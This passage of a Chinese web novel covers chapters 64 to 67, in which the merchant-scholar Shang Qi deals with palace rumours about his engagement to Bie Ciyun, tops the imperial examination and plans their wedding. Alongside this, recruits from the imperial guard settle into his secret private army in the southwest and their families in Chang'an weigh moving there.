这些人连尚柒究竟是什么人都不知道,只看身份,他何必与人生气。 “倒是我小人之心了。”有钱能够在长安干这样一番大事业,必然不是会把流言蜚语放在心上的人,说不得他还不如有钱心胸开阔。 “我昨日登门定亲,虽然排场不算小,但也仅限于宣阳坊几条街知道,怎么还传到你耳朵里了。”坊间传闻这样快?尚柒不信,此前他借坊间传闻散布过几次舆论,没有背后推手,许多言论都不见得能出坊。 “一早街上的人就在议论。”谢琅回忆了片刻,也察觉不对,“你认为背后有人捣鬼?” “未必是捣鬼,但想来没有好意。”尚柒断言。 “要我帮忙查查是谁做的手脚吗?”比起当事人,谢琅这个局外人就好查的多。 “有劳谢少爷了。” 第64章 谢琅说要帮忙查流言背后是否有推手, 不过三两日功夫就送了消息到尚柒案头。 “吕公公?”尚柒不认得宫里的人,但尚府前几日来了一位宫里请诊的太监,不出所料, 就是这位吕公公了。 谢琅送的信上, 不光写了是谁在幕后主使, 还把吕公公的背景也一并送了过来。 这位吕公公本事不小, 拜了广运帝身边伺候的金公公做干爹后,一路被提拔,最后竟成了太子宫里的管事太监,若太子真能继位,这位吕公公就是皇帝跟前的头号红人。 “我没寻他的麻烦, 他却还要不依不饶, 可见心胸狭窄, 这样的人真成了皇帝跟前的红人,怕是满朝文武都没好日子过。”尚柒不意外被针对, 宫里什么牛鬼蛇神都能遇上。 “阿兄,那咱们就任由他欺负吗?”尚南枝显然也气的不轻, 想起那日, 这位吕公公竟带人强闯进府里, 还想着要把她和乌桕抓起来, 就恨不能揍人一顿。 “多行不义必自毙, 他这个节骨眼四处宣扬我和此云的亲事,怕是想在太子挑拨离间和别家的关系, 等过几日太子查清我和此云有意在太子妃出事之前,想必自会料理。” 太子没什么本事,身边的人也个个鼠目寸光。 “我瞧这位太子未必会动跟前人。”仅凭三言两语就能被煽动怀疑身边最亲近的老师,可见太子也不是什么有肚量的人。 不说她阿兄和别哥哥早就情投意合, 就说别哥哥没看上任何人,难道就要嫁进东宫吗? 也不看自个儿年纪和别哥哥配不配。 “太子虽会被轻易煽动情绪,但冤枉了别家,太子还是要给别家一个交代。”眼下太子党里,没有大世家支持,别家算是中流砥柱,因为别泓和别洵松在朝中有不少弟子,就因为别家的干系,太子党的人数才能稳压其他党派。 无缘无故得罪别家,无异于自寻坟墓。 “最好如此。”尚南枝虽心底还是有气,但也晓得,她们在长安哪能说教训谁就教训谁,眼下吃的亏都是哑巴亏。 显然,尚柒的猜测没错,太子因为吕公公挑拨离间怀疑别家轻看他,不愿意将自家哥儿嫁给他,才草草选了个商户。 于是他先寻了别泓过来,明里暗里阴阳怪气了一番,谁料别泓虽年迈,但性子倔,当即甩袖回了别府,闹的太子脸上挂不住。 亏得东宫府里的幕僚在一旁劝说,才叫太子遣了人手去调查别家公子亲事的来龙去脉。 尚柒打有心娶别此云起,就没有隐瞒自己的行踪,无论是去别府,还是别景季登门都是正大光明来往的,遣人调查都有迹可循,算时间早在太子妃这头传出不好的消息之前。 别家不可能未卜先知,可见是巧合。 知道错怪了恩师,太子立刻发落了吕公公给别家示好,又登门送了赔罪礼和贺礼,方才揭过此事。 别此云同尚柒说起贺礼时,还忍不住笑出声:“许是太子理亏,贺礼送的大方,是前些年小国进贡的奇珍。” 尚柒是听出奇珍不便宜的意思了,但他并不取笑太子,毕竟这人在他这儿已经批了蠢钝如猪四个字。 但凡有脑子的,也该先查一查再找恩师对峙,也不会落个里外不是人的下场。 “想来太子还没绝寻个新太子妃的念头?” “自然,且说他还打到叶栖身上,被柳家婉拒了。” “眼下他还敢打大世家的主意,不怕惹恼了广运帝干脆将他的太子之位换人?” “他自然怕的,不然为何独独选要从大世家里跌落的叶家,长安城中,谢家、崔家又不是没有适龄的姑娘哥儿。” 怕归怕,但太子又舍不得世家带来的权势,退而求其次选了个叶家,转头就被叶栖的姑姑出面拒绝了。 这事没有闹大,若非别此云私下关注太子举动,怕也不知道。 “大世家不成,但长安城里还多的是中等世家,想来太子已经下了再寻一位太子妃的念头,轻易不会打消。” “我们看东宫是虎穴狼窝,殊不知长安有的是人趋之若鹜,听兄长说,不少人私下都去东宫暗示自家有适龄姑娘哥儿可做太子良配。” 尚柒不意外,太子妃的位置差一步就是一国之母,想要权势的人家无论如何都愿意拼一把的,只是家里的姑娘哥儿是否真的愿意就不清楚了。 总归之后的事不归他管,盛夏过了一半,近在眼前的科举方才是尚柒最该看重的。 …… 八月未央。 尚柒一出考场,就见自家的马车停在不远处,连续半月的科考也属实折磨人。 马车里,既不是在家的乌桕也不是在织坊的南枝。 “时下日头还大,怎么不在家里等着。”尚柒登上马车,见此云正倒冷茶给他,又瞧见人额头一层细汗,忍不住心疼。 “平日也就罢了,最后一场总要来接你的。” “我又不是参加高考的学子。”虽然按年纪算也正是该高考的时候,“正午想在哪里吃?” “若在外面吃,小乌桕怎么办?” “行行好,我们二人还没成亲,就时时有个电灯泡在一旁,日后成了亲,岂非是再没独处的时候。”便是他不回家,乌桕也不会亏待了自己的肚子。 “我的意思是说,总要给小乌桕留个信,他本来也想着来接你,但见我来了,他便不来了。” “可见是乌桕专程给我们腾了时间,若我们不好好享受岂不是白费他的好心。”尚柒吃过冷茶,消了消暑气,“想去金玉满堂还是别的酒楼。” “金玉满堂的饭菜再好吃也不能每次都去,你到长安之后,想来也没吃过几家酒楼食肆,今日由我安排如何?” “你自长安长大,定然比我这个外地人要了解,我就全全听你的。”尚柒除开刚到长安之际,吃过几家别的酒楼外,其余时候都是去金玉满堂用饭的。 得了尚柒的准话,别此云吩咐坐在马车外的琴砚指路,由张阿大赶车去东市附近的一家食肆。 食肆大小自然不比酒楼,但别此云要去的食肆是长安富贵人家有名的地盘,和金玉满堂来者是客不同,名为客似云来的食肆只招待有腰牌的客人。 腰牌不好拿,钱和地位一样不能少,且每日放出用膳的名额有限,除非真是皇亲国戚,不然都是不让插队的。 “客似云来?”尚柒站在客似云来门口,“我记得你的账本上有这家的账目。” “光听经营模式,你就该知道不是大历本地人能干出来的。” “这倒是,这家食肆东家只有你一人吗?”他就说吃食生意这么大的市场,全让给谢琅未免过于大方了。 “我一个人精力有限,开不了金玉满堂那样的大酒楼,客似云来这样的小食肆正好,你不是想知道我平日消息来源吗?这里就是一处。” 因为来往都是权贵,又在席间,难免酒足饭饱不说些私密消息。 尚柒入食肆后,目光左右打量了一番,在外面看占地也知里面的确不大,甚至连二楼都没有,不过因为来用饭的客人身份都不低,也没设置大堂,只一个前台摆在门口,等客人用完饭过来结钱。 其余地方都被规划成方正的包厢,不用看都知道里面的布局不输金玉满堂三楼的包厢,说不得每日还要熏香。 两人由小二领去包厢,果不其然屋内可用窗明几净形容,很是会拨弄文人墨客的心弦。 “平日也是书墨出面打理?” “不错。”客似云来的生意每月在别此云其他产业里不起眼,但别此云很看重这家食肆,必要书墨亲自出面打理。 “你我离开长安,这家食肆你打算怎么办?” “自然是留着。”有一个获取朝中消息的渠道,是万金都求不来的。 “但书墨到时候会跟着你去西南,这些产业你总要有人托付。” “我手里做生意的掌柜不止书墨一人,到时候我会抽调一些不在长安经营的掌柜过来,我的产业涉及很广,平日也小心不彼此联系,就算青麦酒出事,其余产业也能保住。” 此云心里有数,尚柒自不会多言,食肆虽然不大,提供的饭菜花样却多,名字取的也雅静,就是光看名字不知道具体是什么菜。 “翡翠白玉汤也就罢了,这青龙出海、乌云托月又是个什么稀奇?”翡翠白玉,尚柒虽不知道具体指什么,但大概也知道是道素汤,其余两个就有些摸不着头脑。 “青龙出海是一条黄瓜,乌云托月是紫菜蛋花汤。”名字自然是别此云想出来的,要的就是风雅,单单是这个名字,就值十贯。 “……”菜单上没有标价,想来吃饭的人也不在意这点小钱,但已经是能直呼诈骗的程度,“还是你来点好了。” 幸亏此云没开酒楼,单看这一间食肆坑蒙拐骗的手段,真要是开了酒楼,说不得什么时候惹恼了来吃饭的人,还要闹一场官司。 “一道吉祥富贵、一道如鱼得水、一道金榜题名,再做一份翡翠白玉汤即可。” “都是些什么?”尚柒听了半晌,就明白大抵有一道鱼。 “用人话说,就是小鸡炖蘑菇、清蒸鲈鱼、炒里脊和白菜豆腐汤。” 嗯,情理之中意料之外,可见单做生意,他还有的学。 第65章 等待放榜的日子, 尚柒和别此云没闲着,日日结伴出游,从长安城内到长安郊外跑了个遍, 甚至还去了清闲观纳凉。 “难得长安平静了一段时日, 我连冯风都没见着几回。”平日里没有要事, 尚柒也不拘手下的人休息, 冯风到长安后几乎没有休息的时候,不是在帮他打探消息,就是在帮他撬墙角。 “风平浪静只是一时的,我堂兄不日归长安,说不得又要掀起一场腥风血雨。”原本别景和说是出门半个月, 谁料去了江南竟被留在当地, 拖到最近才有风声。 “你堂兄回来, 会将齐王的兵马一块带回来,不说朝臣, 就是军中都要有轩然大波,不过对你我没什么影响。”因为军队的事, 广运帝忙的焦头烂额, 至今还没腾出功夫找青麦酒的麻烦。 显然有人看透广运帝要换禁军血的打算, 私下里给广运帝使绊子, 只是这几方人马都在暗处打, 明面上看不到一点动静。 “越是不平静,就越说明大历的情况岌岌可危。” “好歹我们也有反抗之力, 先前禁军从撬出来的人手,也都去军营做事了,待我们去西南,只需三年, 就不必再担忧朝廷出兵。” 要不说财帛动人心,这些禁军中人,脑子不笨,去了西南只跟商队走了几趟短途,就摸清楚了商队绝对不是在送药材。 尤其禄石是诸位兄弟中的领头,最早猜出尚家究竟在做什么,但人聪明就聪明在这点上。 晓得尚家敢这样明目张胆透露,就是为了让他们入伙,别看眼下他们来去自如,真想要离开西南多半没有活路。 可要说真跟尚家干了这掉脑袋的勾当,家中老小又怎么办?最初知道的几日,禄石急的夜里都休息不好,结果没多久家里就有信送到西南。 商队的管事知道他们初到西南,手里没什么银钱,都是按趟数给结清了的,不少人拿了钱就拖去长安的商队带回长安,给家里人应急。 这不,收到钱的家里请人写的信,信里都是些家常话,但任谁看到一年到头吃不饱的家里人收到钱给家里开荤都会默默抹眼泪。 给大历魏氏卖命,一年到头都没几个休息的时候,结果一家老小还要勒紧裤腰带过日子,尚东家这头,或许有千金买骨的意思,但钱从来不含糊,家里的娘子郎君也都安排了事做。 哪怕他们真的出事,一家老小也不是一点活路没有。 两厢一对比,孰优孰劣是个人也能看出来。 尤其是禄石问过商队的管事,知道家里人也能接到西南,并在应州安家,就更心热了。 “乖乖嘞,西南的山这么能藏人。”跟着禄石一块投靠尚家的几个军汉被商队管事带到私兵营的时候,眼睛都瞪大了。 先不说规模,就看门口站岗的兵丁,着一身好甲不说,体格也是膀大腰圆,瞧着就是个中好手。 “营地一共五千人,东家那边说暂时不打算扩招,先把这五千人马练好,也够驰骋西南了。” 别看打仗动不动抽调十几万人马,但军营里待过的都知道,十几万里大部分都是炮灰,真正的精兵猛将,在战场是都是以一敌十的。 “五千人都归俺们管?” “东家看重的就是你们的本事,不过也不是说直接把五千人马交给你们,近日你们先接管一个小队操练,过些日子去山头剿匪,凭本事说话。”五千人马总不能一个能领导的人都没有,只是本事高低罢了。 禁军过来的汉子大部分都是筛选过的,证明了人的确有本事,但也不能扼杀其他人的机会。 “就这样简单把兵力交到我们手里?”万一他们有其他心思,到时候凭借这些兵力逃跑怎么办? “你能短时间让手里的兵力全全听你的话,也是你们的本事,余下的风险该是我们要考虑的。” 禄石几人挠了挠头,这话也对,他们外来户,就算是军营的老油条,也不能一来就把手下的人治的服服帖帖。 毕竟光看这些兵,个个都能打,他们哪怕想以武服人,也要掂量能打几个就得歇菜。 但有了管事的一句话,几个汉子再兴奋不过,想以前在禁军哪里有这样的机会。 “以往我就想着有朝一日我也要当统领一方的将军,可在禁军十来年,手里最多就管十来人,权力没多少,气没少受。” “可不是,要说咱们跟冯大哥相交的人里,最有本事的还是樊大哥,军中比武哪次不是樊大哥拿胜,偏被上官妒忌,迟迟升不上去。” “是啊,樊大哥若来,五千人必是他来带领,只是樊大哥家里只他一个顶梁柱,其余老的老小的小,嫂子身体也不好,一月光是吃药就要耗去不少银钱,樊大哥哪里能走。” “咱们走的时候樊大哥说是有机会上升,说不得如今也得了一个军官做,当了官饷银可跟咱们苦哈哈的士兵不一样。” “我看说不准,樊大哥说是要被提拔都说了好几次了,哪次不是败兴而归,保不准哪日被逼的走投无路,咱们还能在这山里见着樊大哥。” 几个汉子说起樊泊,都有源源不断的话,可见对此人少不得钦佩。 “也说不准日后咱们会和樊大哥在战场上见面。” 这话一出口,几个还在说玩笑话的汉子都闭上了嘴,到底他们是投了敌,被朝廷抓到都是要掉脑袋的。 说不怕肯定是不可能的,只是和尚家的人手相处下来,没见一个有怕的,他们自然也被影响了。 “真要上了战场,咱们不一定比樊大哥强,但咱们的兵肯定比禁军强。”禄石接话。 “禄石大哥说的有道理,咱们都在禁军待过,禁军底层士兵什么德行都清楚。”每日饭都吃不饱指望他们在战场上大展神威,是不可能的,就是千里马因为吃不饱都还比不过普通马呢。 禄石一句话将低迷的气氛缓和后,就不在插嘴,而是想着要怎么在东家面前表现。 “他们情绪怎么样?”蔺肃在私兵营里没接待几个长安过来的军汉,主要是他不懂兵,就算读过几本兵书,也做不到纸上谈兵,过去了也不过说几句客气话,耽误功夫。 “听言辞,还不错,没有沮丧情绪。” 好容易送来几个能领兵的,私兵营的汉子也紧盯着,怕给人跑了。 “那就好,尽快安排他们入营。”有事情做就少了很多胡思乱想,等人彻底适应私兵营的生活,必不会有跑路的心思。 天底下还没有哪家军队有尚家给的待遇好。 “没问题,不过有人过来问我,当真能把家里人安排在应州?” “还能有假?东家都把部分产业搬迁到应州了,哪怕是全部安排过来,也能安顿。”若蔺肃猜的不错,东家接下来几年都要以应州作为据点,不缺工作供给。 “这不是要管事你给个准话嘛。” 蔺肃没忍住翻了个白眼,自打他开始安排事后,这群莽汉就跟丢了脑子一样,什么事都要过问他。 “只管给人说,愿意将家人带到西南的,咱们都给安排。”蔺肃说罢,挥手让人滚蛋。 …… 不是十万火急的加急件,从应州送信到长安没那么快,赶在科举揭榜前,朱娘子收到当家的回信。 她自然是不认识字的,不过街巷里有识字的书生,平日写信给点笔墨费,读信送些家里的东西。 院子也是养鸡的,朱娘子平日托人读信就送两个鸡蛋,这回因为当家的又寄了银钱回来,难得大方,改送米粮。 只是听过当家的信后,朱娘子却不知作何反应。 “朱嫂子,禄石兄弟是去西南赚了大钱了,竟要把一家都带去西南安顿。”读信的书生眉飞色舞的同朱娘子说话。 “不过才去了几日功夫,哪里就赚了大钱。”她们一家子都是土生土长的长安人,去过最远的地界就是长安郊外,给先祖扫墓。 陡然让她带着一家老小去西南安顿,她肯定是不愿意的。 不过这事不该对外人说,朱娘子拿着书信回了家,屋里公婆追问朱娘子信上写了什么,等朱娘子把信上的内容一说,两个老人也沉默了。 “如何就要阖家去西南了?” “我也不知,当家的只在信里说他要在西南做事,一年到头不得空回来,但到手的银钱不少,不若一家都去西南,既能团聚,东家还给安排住处和差事。” “哪有这样好的东家,给这样多工钱就罢了,还给家里人安排,莫不是什么脏心烂肺的人要我等去西南谋财害命不成。” “公公说的哪里话,咱们一家子加在一块也不值几贯钱,当家的这两回寄回家里的都不止这点了。 再一个,我在织坊做事,管事的二姑娘,也是当家东家的妹妹,再没有这样有本事又明事理的娘子,人家在长安也置办的有产业,如何要骗我们这样的穷户。” 朱娘子在织坊做事,得钱不少,二姑娘也时时照拂,再没这样好的差事,街上不少其他娘子郎君都寻她打听,想凭关系也去织坊作差,真要谋财害命,也害不到她们身上。 “那也不能一家都去西南,咱们祖祖辈辈都在长安度日。” “也就两百年在长安,别忘了,街上算命的瞎子还说过,两百年前长安还被屠过呢,没几个活着的本地人。” “你这老婆子,说这话,难不成你还想跟着去西南不成。” “去西南又怎么了?你怕这怕那,还不是叫家里孩子去军营做事了,如今孩子在西南出息了,想接咱们过去团圆,没什么不好。 家里这房子只这么大,几个孩子都住不开,孙辈出生后都挤在一处,日后想成亲都没个住处,长安的房价怎么样你心里有数,咱们不是买的起的人家。” 一说起住处,在场的三人都不吭声了。 第66章 写信回来要一家老小都去西南安顿的不止禄石一人, 几乎去了西南的汉子都给家里传信说要接一家子过去。 大抵这群汉子顾忌家里人,怕造反的事泄露,一家子留在长安都没活路。 几个相熟的娘子郎君在织坊做事的时候都忍不住说这事。 “如今我在织坊也有个好差事, 当家的也寄回来不少银钱, 何必折腾。”还是有不少娘子郎君和朱娘子一样不愿意离开长安。 “当家的说, 这事时时都要人, 一年到头没有得空的时候,再一个打西南到长安一来一回,快马加鞭都要一个月,一两年不见也就罢了,时间一长家里孩子怕是都不记得爹是什么模样。” 朱娘子也是这样想的, 当家的一走, 家里几个孩子年长的还好, 都记事了,年幼的才刚认人, 连话都说不利索,一走几年, 怕是连爹什么样都不记得。 “这事咱们哪里能做主, 最后还不是看公婆的意思, 我自然是想去西南的, 如今长安的宅子, 叔叔伯伯几家住一块,连个落脚地都困难。 公婆又偏心, 当家的一走剩我们娘几个暗地里被磋磨,不若去西南,东家给安排住处和差事,落个清净不说, 一家子也不必挤一张床。” “只怕你公婆没那么容易放人,你一走家里大大小小的杂事给谁做?” “叔叔伯伯又不是没娶亲,都是外嫁进来的,只逮我一个欺负,不就是因为当家的不在,左右当家的给了信,说是只要我愿意,给送信的商队通个气就是,人保管全须全尾的将我们送到西南。” 有一个想去的,自然会带动其他人也动摇,尤其是家里关系不和睦的,若不是晓得家穷,不是长子分了家连处宅院都寻不到,大家伙也不必忍着。 这会有个明目张胆的机会,可以说是天赐良机。 不过两三日功夫,就有几个娘子郎君去寻了送信的商队,约好日子就打算收拾包袱去西南。 织坊这里必然是要辞工的,尚南枝早得了阿兄吩咐,痛快的给人结了钱。 “走了几个手巧的,须得再招几个做工的过来才是。” “二姑娘可是准备在宣义坊继续招人?”周掌柜也知道几个娘子郎君辞工的事。 “只几个人手,大张旗鼓的招人不大好,我打算问一问辞工的娘子郎君认识什么手巧的,可以推荐过来面试。” 周掌柜点头,尚二姑娘办事一向妥帖。 朱娘子得了信,首要想的肯定是自家人,奈何家里几个妯娌手艺不好,去过二姑娘的眼,她都嫌丢人不说,还白费二姑娘的信任。 街坊四邻关系好的也没几家,推荐了这家没推荐那家,总是得罪人,于是朱娘子还是放在从前跟当家关系好的兄弟间。 第二日朱娘子就登了樊兄弟的门,打算问问樊家有没有能去织坊做事的,也算是给樊家卖个人情。 樊泊是家中独子,也没个兄弟姊妹,上头的爹娘身体还算健朗,下头两个孩子,都还年幼,妻子汪氏因为生第二个孩子落了病根,一直在家做点杂事,不敢劳累。 朱娘子上门就是想问问汪娘子愿不愿去织坊。 “劳你跑一趟,我这身体亏欠,去了织坊怕是给人拖后腿的。”先前冯风和当家交好,说是可以给各家娘子郎君寻个差事,汪娘子本来有意,但当家的听说是织坊办差,想着织机织布劳累,就推辞了。 “嫂子先别急着推辞,时下我做工的织坊不织布,乃是用两个短棍织羊毛做衣裳,多做多得,再轻松不过,我也是晓得嫂子手巧,才来走一趟。”朱娘子如何没考虑过樊家情况,她是来送人情的,事情自然要办的漂亮。 “两根短棍织衣裳?”汪娘子还没听过这样做衣裳的。 “不错,嫂子若是不信,改明儿跟我去织坊走一趟,瞧瞧看能不能做。” “有你这句话,我是要去瞧瞧的。”汪娘子一听也意动,能不能做总归先去瞧瞧的好,家里全靠当家养活,原说今年当家有望升迁,拒了冯兄弟推荐的差事,哪想这几个月下来迟迟没有动静。 “说来,妹子你当家去了西南,如今怎么样了?” “嫂子也是自家人,没有瞒着的道理,当家去了西南后,跟着走了几趟生意,拿回家的钱比以往一年都多,东家很是大方。 只是活多,西南和长安也远,轻易不能回来,前不久还来信说,要接一家子去西南安顿,东家给出钱,只是嫂子你也知道,阖家去个生地不是轻易能做的,我正愁如何回当家的呢。” “一家子去西南都能安顿?莫不是骗子。”汪娘子也没听过这样的好事。 “哪能啊,东家如今就在长安,我做事的织坊正是东家妹妹在管,冯兄弟打当家的走后,也常上门询问我们是否有困难,这样体贴细微,只为骗咱们这样大字不识一个的人家,图什么?” “这样说,是遇上好东家了。” “是嘞,我在织坊做事,跟二姑娘常打照面,再清楚不过二姑娘是极好的东家,二姑娘又是东家一手带大的,可见东家也差不了。” “诶。”汪娘子应了一声,又同朱娘子说了几句话后,朱娘子家里还有事就匆忙离开了,而她反倒是想着朱娘子的话。 家里因为她的病,拖累了不少,两个孩子身上的衣裳都还打着补丁,当家的若是去西南,家里情况也能改善许多。 不过这话她又不能随意开口,毕竟当家盼着升职已经盼了许久。 —————————— “放榜了,放榜了。”街上热闹的吵嚷起来,尚柒和别此云在放榜对面的酒楼坐着,瞧着下面熙熙攘攘的人群,都有些怕出事。 “每年看榜的时候,总是挤满了人,若有人跌跤,必会出事。”踩踏死人不是什么新鲜事。 “朝廷该遣一些禁军过来维持秩序。” “禁军受武官控制,武官和文官一向不对付,没有广运帝下令,轻易调动不了禁军。” 尚柒不语,只静静看着人挤人,人群里大部分是世家遣来看榜的仆从,少部分自己看榜的学子,还有一些过来看热闹的长安居民。 “你早知道排名,今日还要过来,可是求个心安?”科举排名对外人来说轻易查不到,但别家在朝中还是有这个人脉的。 “不,只是想感受感受氛围。”好歹参加了一回科举,怎么能不来看榜。 “如何不下去感受?” “有些事只可远观。”尚柒说着收回视线,“今日放榜后,你我就该商议亲事日程了。” 原是只定亲,但经过太子一遭,苏怡然和别洵松都怕节外生枝,还是早些将亲事办了。 “我娘早请道长算日子了,从十月末到开春,有不少成亲的好日子,娘的意思看我们打算什么时候办。”许是太子这事闹的家里人心惶惶,兄长都还没来得及说话,爹娘那头已经自己想通了。 “十月末太紧了,十一月中旬如何,正好距离现在有一月光景,准备成亲事宜都来得及。”十二月太冷了,天寒地冻,尚柒舍不得此云这个时候受折腾。 “你定就是。”别此云没有对盛大婚礼有什么想象,总归只是走个程序。 “敷衍。” “我期待的婚礼本就是简简单单,最好只请家里人和几个朋友,凑几桌吃个饭就是,这样大张旗鼓过礼,光是想想都觉得累。” “若你我是寻常人家,许是这么办没事,但你是别家公子,我若敢这样敷衍了事,当日怕是连别府的门都进不去。” 别此云轻哼一声,表示同意。 “我这头需用的东西你都不必准备,我娘早些年就备好了。” “轿子也不必我准备吗?”时下世家公子贵女嫁人,一顶巧夺天工的花轿是必不可少的,想要一个月成亲,自己寻工匠做轿子已经来不及了,只能租聘。 好在长安世家多,有这个生意门路。 “不必,那东西我娘也早寻人打好了,成亲前你去取回府上就是。”对于坐花轿别此云没那么大兴趣,若不是因为别家出身,他更想和尚柒一块骑马。 “看出来你的确对婚事兴致不高,既然连轿子苏夫人都备好了,余下要紧的只有聘礼了。” 按尚柒的身份,成亲的确是委屈了别此云,定亲后几个月,有关别家的风言风语就没停过,不少后宅娘子郎君都取笑别家有眼无珠,挑来挑去竟选了个商户人家。 尚柒知道此云不介意,但他介意,门第之事他得中科举后能够消停一些,但紧接着的亲事若办不好,又要叫此云沦为他人茶余饭后的谈资。 单聘礼,尚柒一个月前已经准备好,钱他是不缺的,但聘礼不能全塞黄金白银,亏得他在西南经营多年,库房里的东西虽都压了灰,但收拾一番还能寻出不少奇珍异宝充场面。 宋月隐听闻尚柒寻这些东西准备做聘,更是抽调时间,千挑万选出不少好东西连带着好药材一块送到长安。 聘礼这一块,绝对比过不少世家儿郎娶亲。 别此云如何不知道尚柒打的主意,不过想着尚柒是为他出气,他也没有拦着人的道理,聘礼越重,父亲和娘那关才好过。 不然不叫父亲和娘放心尚柒待他好,如何叫两人同意他们婚后去西南。 第67章 “你得中头名的消息一出, 不少想看别家笑话的世家都成了哑巴,一个个私下都在打听你得了谁的关系,竟比过柳九郎。”谢琅是看了不少世家的笑话, 一直憋着劲, 就想着在两个当事人面前取笑这伙人。 “这次科举的名单是陛下亲自定的, 我再有本事还能攀到陛下的关系不成?”得中头名, 尚柒其实没太大把握,主要是朝廷科举,从选中名单到排序,都不看才华。 “说不准呢,他们私底下都在猜你究竟什么身份, 还道别家必然是知道隐情的, 不然为何突然就选了你做儿婿。” “都有什么猜测, 说来听听?” “有说你是哪个大世家的私生子,也有说你与东宫有关系, 但也不想想,这些身份在陛下眼里, 算不得什么。” “的确, 柳确得了第二名, 柳家是何反应?” “没什么反应, 聪明人都知道这是陛下和世家在博弈呢, 你和柳确不过是殃及池鱼,再一个, 你如今与别家结为姻亲,柳家就是不满,也要看几分别家的薄面。” 世家和世家间,没有生死大仇, 一般都是相安无事。 且说真到了性命攸关的时候,生死大仇都能放下,谁会小心眼因为一个科举就得罪一个势力不算小的世家。 “对了,授官之后,你每日也要上值点卯,到时候再没闲工夫给人看诊了。” “大夫只是副业,再说整个长安也不缺我一个大夫,便是闭诊也出不了大事。”他接待都是有权有势的娘子郎君,这等层次的人,哪里就真的缺了大夫。 “也是,日后你可想好去朝廷六部哪一部做事?”谢琅虽然不喜欢做官,但对朋友未来规划还是很有兴趣。 “进六部少说都要从六品的官职,我科举得中最好不过正九品,有幸进东宫做事或许能够很快升迁,但也需数年经营,哪里能这么快想去哪一部做事。” “那是旁人,你有别家做靠山,别家后面站着太子,太子与别家关系亲近,总会卖几分薄面给别家,最多三年,你必能进六部做事。” 长安当官,靠的都是背景人脉,如若不然,怎么朝廷三省六部的官员都是世家出身,仅剩的几个白丁都是熬到白头才进六部做事。 “也说不好。”他想着外放,应州刺史他是不能想的,但应州下的县令,还是可以想一想的。 “你既没想好,那我也不提这个,今日过来还是想问一问你和有钱的亲事如何了?我作为你们二人的朋友,当日必要讨一杯喜酒吃的。”谢琅吃过不少喜酒,但新婚夫夫二人都是他朋友的喜酒还没吃过,可盼着那日多吃几杯,唯一可惜的是有钱当日不能露面。 “已经同别伯伯定了日子,就在十一月中旬,过几日我将请帖写好,会遣人送到你府上。” “这么快,我还以为开春前能吃到你们的喜酒都算好的。”毕竟世家嫁娶那一套谢琅再熟悉不过,费时费力。 “原不想这么匆忙,但到了十二月天寒地冻,别家给此云准备的嫁衣又难以抵御风寒,当日还要过这样多礼节,容易把人冻坏了。” 原别家也是打算十二月办的,他把这个理由一说,苏怡然就改了主意,甚至看他的眼神都和善了不少。 “你思虑的倒周全,十一月虽也冷了,却比十二月要强,只一个月亲事若忙不过来,或有哪里需要搭把手的,尽管去金玉满堂寻我。 你知我在家赋闲,平日也就看看账本消磨时间。” “真要帮忙的时候我自然不会客气。” 一个月时间筹办亲事,事事亲为肯定是做不到的,不过家里两个小的知道尚柒打算成亲后,一个个热心的不得了。 南枝连织坊的差事都没那么上心了,全全关注在亲事上。 不过他们三人的确都没有成亲的经验,就算看人成过亲,那也是在长平村,大家伙摆桌酒席就罢了。 哪里晓得世家规矩,苏怡然那头遣了身边几个伺候的丫头过来帮忙指点,隔壁苏府的赵郎君听闻这桩喜事,也时常帮忙。 要赵厢说,原以为邻居不过是个会点医术的商户,哪想这样成器,竟一举得中状元,眼下授封还没下来,不过也板上钉钉在朝为官。 更不说尚柒还得了别家青睐,娶到了别家下一任家主唯一的哥儿,可见前途无量。 “要不说隔壁尚东家厉害,这头才和别家定了亲,又中了举,在长安也是挂了名,都有人登门求郎君你做媒,给尚家二姑娘说亲。” “一家起来了,自然万家来求,别看尚柒眼下不过只得一个芝麻小官,有别家做靠山,日后必不会浅了去,说不得几年后还高过夫君的官职。”赵厢眼底闪过羡慕,他也是世家出身,奈何家里不肯拉拔夫君一把。 “郎君何必妄自菲薄,如今朝廷升官极难,老爷这般有本事的都一直没能往上走走,便是尚东家有别家做靠山,几年时间怕也过了。” “你也不瞧瞧尚柒才多少岁,尚未及冠哪怕等个十年二十年,也不过二三十来岁,有眼光想要趁尚家未起结亲,也是正常。” “那郎君可要做桩媒。” “我倒是想,只是你也常听长屿说起隔壁的事,别家只三口人,当长兄有本事也就罢了,底下的弟弟妹妹也个个懂事。 姑娘做生意,哥儿学医术,长安几个人家能做到,可见尚柒是个疼弟弟妹妹的人,亲事大抵也是看两个小的自己的意思,哪里会轻易为了攀关系嫁娶了去。” “郎君说的虽有道理,但也不妨给尚家说一声,不提做媒,只当提醒,若尚家有这心,必然会上门寻郎君,若没有,也当是咱们给尚家卖个人情。” 听嬷嬷这样说,赵厢也觉得有道理,但他若出面事情兴致就不一样了。 “去将长屿寻来,道我有事同他说。” …… “成亲?”尚乌桕眼睛瞪的圆圆的,“我阿姊才十二岁,阿兄说真要成亲也要等我们十八岁再考虑,还有六年呢。” 他才不想阿姊嫁到长安,眼下长安已经被他当做洪水猛兽一般,再看不上眼。 “十八岁,这样晚?” “哪里晚了,阿兄说我和阿姊要是不想嫁人,他的钱也够养我们一辈子,不必去旁人家受气。” “这样啊,那我回去给阿耶说,南枝姐姐不想嫁人。”苏长屿还对亲事半懂不懂,也没感觉小伙伴方才语出惊人。 “就这样说没错,日后我们是要回西南的,如何能够和长安人结亲。” “可尚大哥不是要做官吗?怎么回西南。” “我也不知道,但阿兄说我们早晚要回西南。” “好吧,那等我长大了也去西南找你们玩。” “没问题。” 尚柒还不知道有人已经盯上尚家的门楣,正在别家和苏怡然商量亲事。 单看尚柒的态度,上心又不殷勤,恰到好处的举动叫苏怡然又放心几分。 “虽说亲事的确要紧,但科举后你还没授官,若得了安排也须得上心,不然日后官场难做。”苏怡然没当过官,但数十年跟在别洵松身边,对官场的事再清楚不过,尚柒年纪小,家里也没有做官的长辈指点,她得空说几句也是应当的。 “夫人说的是。” “还叫我夫人呢,虽说你和此云还没结亲,但也能改口了。”眼看着婚事越发靠近,提前私下改口也不算坏了规矩。 尚柒一顿:“岳母。” 苏怡然听得顺耳,饶过尚柒:“我这厢无事,且去梧桐苑看看此云,再有一旬功夫,你们就不能见面了。 对了,路上若遇见什么人拦路,你且不必理会,只当那人失心疯就是了。” 虽然不知道苏怡然为何这么说,但尚柒还是应了。 结果半道还真遇上拦路的,瞧站在尚柒跟前的青年,已经二十来岁,衣裳瞧着是世家子弟常穿的,但面颊微黑,不似一般世家子弟白净。 